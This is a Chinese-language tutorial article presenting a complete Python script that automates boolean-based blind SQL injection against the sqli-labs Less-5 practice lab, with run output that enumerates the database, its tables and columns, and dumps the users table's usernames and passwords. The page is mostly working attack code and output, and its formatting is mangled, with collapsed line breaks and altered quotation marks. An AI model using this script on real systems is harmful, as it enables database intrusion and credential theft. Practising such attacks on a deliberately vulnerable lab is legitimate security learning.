python實(shí)現(xiàn)布爾型盲注的示例代碼
好久沒寫python了,就想著寫個(gè)簡(jiǎn)單的練練手,寫個(gè)布爾型盲注自動(dòng)化腳本,我覺得這個(gè)功能寫的非常全了,這里是參考sqli-labs里面的盲注漏洞進(jìn)行的腳本編寫。
腳本運(yùn)行時(shí)間:6分半左右
bool_sqlblind.py# -*- coding:utf-8 -*-# Author: mochu7import requestsdef ascii_str():#生成庫(kù)名表名字符所在的字符列表字典 str_list=[] for i in range(33,127):#所有可顯示字符 str_list.append(chr(i)) #print(’可顯示字符:%s’%str_list) return str_list#返回字符列表def db_length(url,str): print('[-]開始測(cè)試數(shù)據(jù)庫(kù)名長(zhǎng)度.......') num=1 while True: db_payload=url+'’ and (length(database())=%d)--+'%num r=requests.get(db_payload) if str in r.text: db_length=num print('[+]數(shù)據(jù)庫(kù)長(zhǎng)度:%dn'%db_length) db_name(db_length)#進(jìn)行下一步,測(cè)試庫(kù)名 break else: num += 1def db_name(db_length): print('[-]開始測(cè)試數(shù)據(jù)庫(kù)名.......') db_name=’’ str_list=ascii_str() for i in range(1,db_length+1): for j in str_list: db_payload=url+'’ and (ord(mid(database(),%d,1))=’%s’)--+'%(i,ord(j)) r=requests.get(db_payload) if str in r.text: db_name+=j break print('[+]數(shù)據(jù)庫(kù)名:%sn'%db_name) tb_piece(db_name)#進(jìn)行下一步,測(cè)試security數(shù)據(jù)庫(kù)有幾張表 return db_name def tb_piece(db_name): print('開始測(cè)試%s數(shù)據(jù)庫(kù)有幾張表........'%db_name) for i in range(100):#猜解庫(kù)中有多少?gòu)埍恚侠矸秶纯? tb_payload=url+'’ and %d=(select count(table_name) from information_schema.tables where table_schema=’%s’)--+'%(i,db_name) r=requests.get(tb_payload) if str in r.text: tb_piece=i break print('[+]%s庫(kù)一共有%d張表n'%(db_name,tb_piece)) tb_name(db_name,tb_piece)#進(jìn)行下一步,猜解表名def tb_name(db_name,tb_piece): print('[-]開始猜解表名.......') table_list=[] for i in range(tb_piece): str_list=ascii_str() tb_length=0 tb_name=’’ for j in range(1,20):#表名長(zhǎng)度,合理范圍即可 tb_payload=url+'’ and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+'%(i,j) r=requests.get(tb_payload) if str in r.text: tb_length=j print('第%d張表名長(zhǎng)度:%s'%(i+1,tb_length)) for k in range(1,tb_length+1):#根據(jù)表名長(zhǎng)度進(jìn)行截取對(duì)比 for l in str_list: tb_payload=url+'’ and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+'%(i,k,ord(l)) r=requests.get(tb_payload) if str in r.text: tb_name+=l print('[+]:%s'%tb_name) table_list.append(tb_name) break print('n[+]%s庫(kù)下的%s張表:%sn'%(db_name,tb_piece,table_list)) column_num(table_list,db_name)#進(jìn)行下一步,猜解每張表的字段數(shù)def column_num(table_list,db_name): print('[-]開始猜解每張表的字段數(shù):.......') column_num_list=[] for i in table_list: for j in range(30):#每張表的字段數(shù)量,合理范圍即可 column_payload=url+'’ and %d=(select count(column_name) from information_schema.columns where table_name=’%s’)--+'%(j,i) r=requests.get(column_payload) if str in r.text: column_num=j column_num_list.append(column_num)#把所有表的字段,依次放入這個(gè)列表當(dāng)中 print('[+]%s表t%s個(gè)字段'%(i,column_num)) break print('n[+]表對(duì)應(yīng)的字段數(shù):%sn'%column_num_list) column_name(table_list,column_num_list,db_name)#進(jìn)行下一步,猜解每張表的字段名def column_name(table_list,column_num_list,db_name): print('[-]開始猜解每張表的字段名.......') column_length=[] str_list=ascii_str() column_name_list=[] for t in range(len(table_list)):#t在這里代表每張表的列表索引位置 print('n[+]%s表的字段:'%table_list[t]) for i in range(column_num_list[t]):#i表示每張表的字段數(shù)量 column_name=’’ for j in range(1,21):#j表示每個(gè)字段的長(zhǎng)度 column_name_length=url+'’ and %d=(select length(column_name) from information_schema.columns where table_name=’%s’ limit %d,1)--+'%(j-1,table_list[t],i) r=requests.get(column_name_length) if str in r.text: column_length.append(j) break for k in str_list:#k表示我們猜解的字符字典 column_payload=url+'’ and ord(mid((select column_name from information_schema.columns where table_name=’%s’ limit %d,1),%d,1))=%d--+'%(table_list[t],i,j,ord(k)) r=requests.get(column_payload) if str in r.text: column_name+=k print(’[+]:%s’%column_name) column_name_list.append(column_name) #print(column_name_list)#輸出所有表中的字段名到一個(gè)列表中 dump_data(table_list,column_name_list,db_name)#進(jìn)行最后一步,輸出指定字段的數(shù)據(jù)def dump_data(table_list,column_name_list,db_name): print('n[-]對(duì)%s表的%s字段進(jìn)行爆破.......n'%(table_list[3],column_name_list[9:12])) str_list=ascii_str() for i in column_name_list[9:12]:#id,username,password字段 for j in range(101):#j表示有多少條數(shù)據(jù),合理范圍即可 data_num_payload=url+'’ and (select count(%s) from %s.%s)=%d--+'%(i,db_name,table_list[3],j) r=requests.get(data_num_payload) if str in r.text: data_num=j break print('n[+]%s表中的%s字段有以下%s條數(shù)據(jù):'%(table_list[3],i,data_num)) for k in range(data_num): data_len=0 dump_data=’’ for l in range(1,21):#l表示每條數(shù)據(jù)的長(zhǎng)度,合理范圍即可 data_len_payload=url+'’ and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+'%(i,db_name,table_list[3],k,l) r=requests.get(data_len_payload) if str not in r.text: data_len=l-1 for x in range(1,data_len+1):#x表示每條數(shù)據(jù)的實(shí)際范圍,作為mid截取的范圍 for y in str_list: data_payload=url+'’ and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+'%(i,db_name,table_list[3],k,x,ord(y)) r=requests.get(data_payload) if str in r.text:dump_data+=ybreak break print(’[+]%s’%dump_data)#輸出每條數(shù)據(jù)if __name__ == ’__main__’: url='http://127.0.0.1/sqli-labs/Less-5/?id=1'#目標(biāo)url str='You are in'#布爾型盲注的true&false的判斷因素 db_length(url,str)#程序入口
運(yùn)行結(jié)果
PS C:UsersAdministratorDesktop> python3 .bool_sqlblind.py [-]開始測(cè)試數(shù)據(jù)庫(kù)名長(zhǎng)度.......[+]數(shù)據(jù)庫(kù)長(zhǎng)度:8
[-]開始測(cè)試數(shù)據(jù)庫(kù)名.......[+]數(shù)據(jù)庫(kù)名:security
開始測(cè)試security數(shù)據(jù)庫(kù)有幾張表........[+]security庫(kù)一共有4張表
[-]開始猜解表名.......第1張表名長(zhǎng)度:6[+]:emails第2張表名長(zhǎng)度:8[+]:referers第3張表名長(zhǎng)度:7[+]:uagents第4張表名長(zhǎng)度:5[+]:users
[+]security庫(kù)下的4張表:[’emails’, ’referers’, ’uagents’, ’users’]
[-]開始猜解每張表的字段數(shù):.......[+]emails表 2個(gè)字段[+]referers表 3個(gè)字段[+]uagents表 4個(gè)字段[+]users表 7個(gè)字段
[+]表對(duì)應(yīng)的字段數(shù):[2, 3, 4, 7]
[-]開始猜解每張表的字段名.......
[+]emails表的字段:[+]:id[+]:email_id
[+]referers表的字段:[+]:id[+]:referer[+]:ip_address
[+]uagents表的字段:[+]:id[+]:uagent[+]:ip_address[+]:username
[+]users表的字段:[+]:id[+]:username[+]:password[+]:level[+]:id[+]:username[+]:password
[-]對(duì)users表的[’id’, ’username’, ’password’]字段進(jìn)行爆破.......
[+]users表中的id字段有以下13條數(shù)據(jù):[+]1[+]2[+]3[+]4[+]5[+]6[+]7[+]8[+]9[+]10[+]11[+]12[+]14
[+]users表中的username字段有以下13條數(shù)據(jù):[+]Dumb[+]Angelina[+]Dummy[+]secure[+]stupid[+]superman[+]batman[+]admin[+]admin1[+]admin2[+]admin3[+]dhakkan[+]admin4
[+]users表中的password字段有以下13條數(shù)據(jù):[+]Dumb[+]I-kill-you[+]p@ssword[+]crappy[+]stupidity[+]genious[+]mob!le[+]admin[+]admin1[+]admin2[+]admin3[+]dumbo[+]admin4PS C:UsersAdministratorDesktop>
到此這篇關(guān)于python實(shí)現(xiàn)布爾型盲注的示例代碼的文章就介紹到這了,更多相關(guān)python布爾盲注內(nèi)容請(qǐng)搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)!
相關(guān)文章:
1. JavaWeb Servlet中url-pattern的使用2. 淺談SpringMVC jsp前臺(tái)獲取參數(shù)的方式 EL表達(dá)式3. asp(vbscript)中自定義函數(shù)的默認(rèn)參數(shù)實(shí)現(xiàn)代碼4. React優(yōu)雅的封裝SvgIcon組件示例5. 輕松學(xué)習(xí)XML教程6. php網(wǎng)絡(luò)安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì)探究7. ASP刪除img標(biāo)簽的style屬性只保留src的正則函數(shù)8. jsp中sitemesh修改tagRule技術(shù)分享9. ASP基礎(chǔ)知識(shí)VBScript基本元素講解10. 詳解瀏覽器的緩存機(jī)制
